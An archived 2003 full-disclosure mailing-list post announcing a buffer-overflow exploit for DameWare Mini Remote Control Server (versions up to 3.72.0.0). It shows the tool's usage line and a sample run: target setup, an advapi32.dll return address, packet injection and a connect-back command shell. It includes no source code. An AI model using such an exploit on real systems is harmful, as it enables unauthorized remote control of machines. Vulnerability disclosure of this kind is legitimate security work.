[Full-Disclosure] [Exploit]: DameWare Mini Remote Control Server Overflow Exploit

From: A*** (netninja_at_hotmail.kg)
Date: 12/19/03

  • Next message: Ron DuFresne: "[Full-Disclosure] atrticle in: Security Wire Perspectives, Vol. 5, NO. 93, December 19, 2003" 
    To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
Date: Fri, 19 Dec 2003 21:38:25 +0500 (KGT)

    DameWare Mini Remote Control Server Exploit

    C:\xploits\dmware>dmware

            ...oO DameWare Remote Control Server Overflow Exploit Oo...

                    -( by A*** netmaniac[at]hotmail.KG )-

     - Versions vulnerable: <= DWRCS 3.72.0.0
     - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1

     Usage: dmware <TargetIP> <TargetPort> <YourIp> <YourPort>
     eg: dmware 10.0.0.1 6129 10.0.0.2 21

    C:\xploits\dmware>dmware 192.168.63.130 6129 192.168.63.1 53

            ...oO DameWare Remote Control Server Overflow Exploit Oo...

                    -( by A*** netmaniac[at]hotmail.KG )-

     - Versions vulnerable: <= DWRCS 3.72.0.0
     - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1

    [*] Target IP: 192.168.63.130 Port: 6129
    [*] Local IP: 192.168.63.1 Listening Port: 53

    [*] Initializing sockets... [ OK ]
    [*] Binding to local port: 53... [ OK ]
    [*] Setting up a listener... [ OK ]

     OS Info : WIN2000 [ver 5.0.2195]
     SP String : Service Pack 3

     EIP: 0x77db912b (advapi32.dll)

    [*] Constructing packet for WIN 2000 SP: 3... [ OK ]
    [*] Connecting to 192.168.63.130:6129... [ OK ]
    [*] Packet injected!
    [*] Connection request accepted: 192.168.63.130:1056
    [*] Dropping to shell...

    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    C:\WINNT\system32>exit
    exit
    [x] Connection closed.

    C:\xploits\dmware>

    ------
    cheerz,

    A***

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: Ron DuFresne: "[Full-Disclosure] atrticle in: Security Wire Perspectives, Vol. 5, NO. 93, December 19, 2003"